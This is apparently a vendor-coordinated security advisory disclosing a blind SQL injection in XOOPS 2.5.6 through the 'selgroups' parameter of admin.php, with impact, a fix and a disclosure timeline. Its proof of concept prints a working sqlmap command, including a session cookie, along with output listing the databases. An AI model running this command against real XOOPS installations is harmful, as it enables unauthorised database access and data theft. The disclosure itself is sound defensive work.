XOOPS 2.5.6 SQL Injection

`=============================================  
MGC ALERT 2014-003  
- Original release date: March 6, 2014  
- Last revised: November 18, 2014  
- Discovered by: Manuel Garcia Cardenas  
- Severity: 7,1/10 (CVSS Base Score)  
=============================================  
  
I. VULNERABILITY  
-------------------------  
Blind SQL Injection in XOOPS <= 2.5.6  
  
II. BACKGROUND  
-------------------------  
XOOPS is an acronym of "eXtensible Object Oriented Portal System". Though  
started as a portal system, it later developed into a web application  
framework. It aims to serve as a web framework for use by small, medium and  
large sites, through the installation of modules.  
  
III. DESCRIPTION  
-------------------------  
It is possible to inject SQL code in the variable "selgroups" on the page  
"admin.php". This bug was found using the portal with authentication. To  
exploit the vulnerability only is needed use the version 1.0 of the HTTP  
protocol to interact with the application.  
  
IV. PROOF OF CONCEPT  
-------------------------  
The following URL's and parameters have been confirmed to all suffer from  
Blind SQL injection.  
  
/xoops/htdocs/modules/system/admin.php?fct=users&selgroups=1  
  
Exploiting with SQLMap:  
  
python sqlmap.py -u "  
http://192.168.244.129/xoops/htdocs/modules/system/admin.php?fct=users&selgroups=1"  
--cookie="PHPSESSID=kjrjempn828cgrv6k8tjp4fs60;xoops_user=0" -p  
"selgroups" --technique=TB --dbs  
  
[INFO] POST parameter 'selgroups' is 'MySQL > 5.0.11 AND time-based blind  
(comment)' injectable  
[INFO] POST parameter 'selgroups' is 'OR boolean-based blind - WHERE or  
HAVING clause (MySQL comment)' injectable  
  
[INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)  
web application technology: PHP 5.3.2, Apache 2.2.14  
back-end DBMS: MySQL 5  
[INFO] fetching database names  
[INFO] fetching number of databases  
[INFO] resumed: 4  
[INFO] resumed: information_schema  
[INFO] resumed: mysql  
[INFO] resumed: phpmyadmin  
[INFO] resumed: xoops  
available databases [4]:  
[*] information_schema  
[*] mysql  
[*] phpmyadmin  
[*] xoops  
  
V. BUSINESS IMPACT  
-------------------------  
Public defacement, confidential data leakage, and database server  
compromise can result from these attacks. Client systems can also be  
targeted, and complete compromise of these client systems is also possible.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
XOOPS <= 2.5.6  
  
VII. SOLUTION  
-------------------------  
Update to version 2.5.7  
  
VIII. REFERENCES  
-------------------------  
http://xoops.org/  
http://xoops.org/modules/news/article.php?storyid=6658  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered and reported  
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
January 21, 2014 1: Initial release  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
March 5, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas  
March 5, 2014 2: Send to vendor  
June 17, 2014 3: New version that includes patched code  
http://xoops.org/modules/news/article.php?storyid=6658  
November 18, 2014 4: Sent to lists  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
  
XIII. ABOUT  
-------------------------  
Manuel Garcia Cardenas  
Pentester  
  
  
`